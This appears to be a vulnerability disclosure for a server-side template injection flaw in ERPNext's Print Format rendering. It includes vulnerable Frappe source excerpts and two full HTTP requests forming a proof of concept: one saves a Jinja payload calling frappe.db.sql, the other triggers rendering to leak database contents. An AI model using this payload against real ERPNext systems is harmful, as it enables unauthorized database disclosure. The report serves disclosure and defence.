Description:

An authenticated Server-Side Template Injection (SSTI) vulnerability exists in ERPNext’s Print Format rendering mechanism. Specifically, the API frappe.www.printview.get_html_and_style() triggers the rendering of the html field inside a Print Format document using frappe.render_template(template, doc) via the get_rendered_template() call chain.

Although ERPNext wraps Jinja2 in a SandboxedEnvironment, it exposes sensitive functions such as frappe.db.sql through get_safe_globals().

An attacker with permission to create or modify a Print Format can inject arbitrary Jinja expressions into the html field. Once the malicious Print Format is saved, the attacker can call get_html_and_style() with a target document (e.g., Supplier, Sales Invoice) to trigger the render process. This leads to information disclosure from the database, such as database version, schema details, or sensitive values depending on the injected payload.

Exploitation flow:

Create a Print Format with SSTI payload in the html field → call the get_html_and_style() API → triggers frappe.render_template(template, doc) inside get_rendered_template() → leaks database information via frappe.db.sql or other exposed globals

Vulnerable source code:

@frappe.whitelist()
def get_html_and_style(
	doc: str,
	name: str | None = None,
	print_format: str | None = None,
-----TRUNCATED---------
):
	"""Returns `html` and `style` of print format, used in PDF etc"""

	-----TRUNCATED---------

	try:
		html = get_rendered_template(
			doc=document,
			print_format=print_format,
			meta=document.meta,
-----TRUNCATED---------

	return {"html": html, "style": get_print_style(style=style, print_format=print_format)}
def get_rendered_template(
	doc: "Document",
	print_format: str | None = None,
	meta=None,
	no_letterhead: bool | None = None,
	letterhead: str | None = None,
	trigger_print: bool = False,
	settings: dict | None = None,
) -> str:
-----TRUNCATED---------
	# determine template
	if print_format:
		doc.print_section_headings = print_format.show_section_headings
		doc.print_line_breaks = print_format.line_breaks
		doc.align_labels_right = print_format.align_labels_right
		doc.absolute_value = print_format.absolute_value

		def get_template_from_string():
			return jenv.from_string(get_print_format(doc.doctype, print_format))

		-----TRUNCATED---------
	hook_func = frappe.get_hooks("pdf_body_html")
	html = frappe.get_attr(hook_func[-1])(jenv=jenv, template=template, print_format=print_format, args=args)

-----TRUNCATED---------
	return html
def get_print_format(doctype, print_format):
	
-----TRUNCATED---------

-----TRUNCATED---------
	if print_format.html:
		return print_format.html
	

Request set html = {{ frappe.db.sql("SELECT @@version") }}

POST /api/method/frappe.desk.form.save.savedocs HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/print-format/IRS%201099%20Form>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD: 
X-Requested-With: XMLHttpRequest
Content-Length: 6724
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=
Priority: u=0

doc=%7B%22name%22%3A%22IRS+1099+Form%22%2C%22creation%22%3A%222020-11-09+16%3A01%3A26.096002%22%2C%22modified%22%3A%222025-07-21+11%3A17%3A00.799601%22%2C%22modified_by%22%3A%22Administrator%22%2C%22owner%22%3A%22Administrator%22%2C%22docstatus%22%3A0%2C%22idx%22%3A0%2C%22doc_type%22%3A%22Supplier%22%2C%22module%22%3A%22Regional%22%2C%22default_print_language%22%3A%22en%22%2C%22standard%22%3A%22No%22%2C%22custom_format%22%3A1%2C%22disabled%22%3A0%2C%22pdf_generator%22%3A%22wkhtmltopdf%22%2C%22print_format_type%22%3A%22Jinja%22%2C%22raw_printing%22%3A0%2C%22html%22%3A%22%7B%7B+frappe.db.sql(%5C%22SELECT+%40%40version%5C%22%2C+as_dict%3D1)+%7D%7D+helloan6%22%2C%22margin_top%22%3A0%2C%22margin_bottom%22%3A0%2C%22margin_left%22%3A0%2C%22margin_right%22%3A0%2C%22align_labels_right%22%3A0%2C%22show_section_headings%22%3A0%2C%22line_breaks%22%3A0%2C%22absolute_value%22%3A0%2C%22font_size%22%3A0%2C%22font%22%3A%22Default%22%2C%22css%22%3A%22%22%2C%22format_data%22%3A%22%5B%7B%5C%22fieldname%5C%22%3A+%5C%22print_heading_template%5C%22%2C+%5C%22fieldtype%5C%22%3A+%5C%22Custom+HTML%5C%22%2C+%5C%22options%5C%22%3A+%5C%22%3Cdiv+class%3D%5C%5C%5C%22print-heading%5C%5C%5C%22%3E%5C%5Ct%5C%5Ct%5C%5Ct%5C%5Ct%3Ch2%3ETAX+Invoice%3Cbr%3E%3Csmall%3E%7B%7B+doc.name+%7D%7D%3C%2Fsmall%3E%5C%5Ct%5C%5Ct%5C%5Ct%5C%5Ct%3C%2Fh2%3E%3C%2Fdiv%3E%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Section+Break%5C%22%2C+%5C%22label%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Column+Break%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22customer_name%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Customer+Name%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22customer_name_in_arabic%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Customer+Name+in+Arabic%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Column+Break%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22posting_date%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Date%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Section+Break%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Address%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Column+Break%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22company%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Company%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22company_trn%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Company+TRN%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Column+Break%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22company_address_display%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Company+Address%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Section+Break%5C%22%2C+%5C%22label%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Column+Break%5C%22%7D%2C+%7B%5C%22visible_columns%5C%22%3A+%5B%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22item_code%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22description%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22200px%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22uom%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22tax_code%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%5D%2C+%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22items%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Items%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Section+Break%5C%22%2C+%5C%22label%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Column+Break%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Column+Break%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22total%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Total%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Section+Break%5C%22%2C+%5C%22label%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Column+Break%5C%22%7D%2C+%7B%5C%22visible_columns%5C%22%3A+%5B%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22charge_type%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22row_id%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22account_head%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22cost_center%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22description%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22300px%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22rate%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22tax_amount%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22total%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22tax_amount_after_discount_amount%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22base_tax_amount%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22base_total%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22base_tax_amount_after_discount_amount%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22item_wise_tax_detail%5C%22%2C+%5C%22print_width%5C%22%3A+%5C%22%5C%22%7D%5D%2C+%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22taxes%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Sales+Taxes+and+Charges%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Section+Break%5C%22%2C+%5C%22label%5C%22%3A+%5C%22%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Column+Break%5C%22%7D%2C+%7B%5C%22fieldtype%5C%22%3A+%5C%22Column+Break%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22grand_total%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Grand+Total%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22rounded_total%5C%22%2C+%5C%22label%5C%22%3A+%5C%22Rounded+Total%5C%22%7D%2C+%7B%5C%22print_hide%5C%22%3A+0%2C+%5C%22fieldname%5C%22%3A+%5C%22in_words%5C%22%2C+%5C%22align%5C%22%3A+%5C%22left%5C%22%2C+%5C%22label%5C%22%3A+%5C%22In+Words%5C%22%7D%5D%22%2C%22print_format_builder%22%3A1%2C%22print_format_builder_beta%22%3A0%2C%22doctype%22%3A%22Print+Format%22%2C%22__unsaved%22%3A1%7D&action=Save

Request trigger

POST /api/method/frappe.www.printview.get_html_and_style HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/print/Supplier/SUP-0001>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD: 
X-Requested-With: XMLHttpRequest
Content-Length: 1242
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=

doc=%7B%22name%22%3A%22SUP-0001%22%2C%22owner%22%3A%22an%40gmail.com%22%2C%22creation%22%3A%222025-07-15+21%3A30%3A34.491573%22%2C%22modified%22%3A%222025-07-15+21%3A30%3A34.491573%22%2C%22modified_by%22%3A%22an%40gmail.com%22%2C%22docstatus%22%3A0%2C%22idx%22%3A0%2C%22naming_series%22%3A%22SUP-.YYYY.-%22%2C%22supplier_name%22%3A%22SUP-0001%22%2C%22country%22%3A%22Thailand%22%2C%22supplier_type%22%3A%22Company%22%2C%22is_transporter%22%3A0%2C%22is_internal_supplier%22%3A0%2C%22represents_company%22%3A%22%22%2C%22language%22%3A%22en%22%2C%22allow_purchase_invoice_creation_without_purchase_order%22%3A0%2C%22allow_purchase_invoice_creation_without_purchase_receipt%22%3A0%2C%22is_frozen%22%3A0%2C%22disabled%22%3A0%2C%22warn_rfqs%22%3A0%2C%22warn_pos%22%3A0%2C%22prevent_rfqs%22%3A0%2C%22prevent_pos%22%3A0%2C%22on_hold%22%3A0%2C%22hold_type%22%3A%22%22%2C%22doctype%22%3A%22Supplier%22%2C%22companies%22%3A%5B%5D%2C%22portal_users%22%3A%5B%5D%2C%22accounts%22%3A%5B%5D%2C%22__onload%22%3A%7B%22addr_list%22%3A%5B%5D%2C%22contact_list%22%3A%5B%5D%2C%22dashboard_info%22%3A%5B%5D%7D%2C%22__last_sync_on%22%3A%222025-07-23T02%3A40%3A34.303Z%22%7D&print_format=IRS+1099+Form&no_letterhead=1&letterhead=No+Letterhead&settings=%7B%7D&_lang=en

PoC

image.png